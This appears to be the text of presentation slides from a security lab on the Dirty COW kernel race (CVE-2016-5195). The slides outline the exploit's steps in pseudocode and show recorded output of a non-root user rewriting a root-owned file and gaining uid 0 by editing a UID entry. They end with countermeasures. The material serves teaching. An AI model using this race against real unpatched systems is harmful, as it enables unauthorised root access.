Dirty COW: the kernel's copy-on-write race

A read-only private map must never change the file behind it. A kernel race broke that rule.

```
fd = open("/zzz", O_RDONLY)   /* no write right */
map = mmap(fd, PROT_READ, MAP_PRIVATE)
pwrite("/proc/self/mem", data, addr)
madvise(map, MADV_DONTNEED)   /* repeat */
/* the kernel loses the private copy */
```

We run as seed (UID 1000)

Kernel bug: file bytes change

Nothing here opens the file for writing - the race is inside the kernel's copy-on-write code (CVE-2016-5195).

Live demonstration

/zzz belongs to root, mode 0644. Seed can read it - but never write it.

1

Show the file is protected

cat /zzz shows the original. echo > /zzz: Permission denied.

2

Normal copy-on-write

./cow_control changes its private copy only - the file stays the same.

3

Run the race

bash run_trial.sh dummy 30 demo - it stops itself when /zzz changes.

If the race misses this time, the next slide shows the recorded 9 October run.

Result: file changed, then uid 0

Task 1 - seed rewrote the root-owned file /zzz (recorded)

```
@@ -1 +1 @@
-111111222222333333
+111111******333333
[10/09/2026 13:31] seed@ubuntu:~/issd-member6/lab-files$ cat /zzz
111111******333333
[10/09/2026 13:31] seed@ubuntu:~/issd-member6/lab-files$ ls -l /zzz
-rw-r--r-- 1 root root 19 Oct  9 13:19 /zzz
[10/09/2026 13:31] seed@ubuntu:~/issd-member6/lab-files$ stat -c '%u:%g:%a:%s' /zzz
0:0:644:19
```

Task 2 - charlie's UID 1001 -> 0000; fresh login without sudo gives uid 0

```
root@ubuntu:~# id
uid=0(root) gid=1002(charlie) groups=0(root),1002(charlie)
root@ubuntu:~# id -u
0
root@ubuntu:~# whoami
root
```

Recorded 9 Oct 2026 - one bounded 30 s run each, 0 s elapsed.
First su attempt failed, retry succeeded. After the demo the account was restored to UID 1001.

Countermeasures

PATCH THE KERNEL

Fixed 2016

Upstream fix landed in October 2016.

Supported distros ship it. Our VM keeps the old kernel to demo the bug.

STAY UPDATED

Update

A fix only helps when the fixed kernel is actually running.

Update and reboot. Retire end-of-life releases like this 12.04 VM.

LIMIT & MONITOR

Watch uid 0

Fewer local users, fewer chances to race.

Baseline /etc/passwd; alert on new UID-0 entries and strange logins.

Private memory must stay private - the kernel fix is the real defence.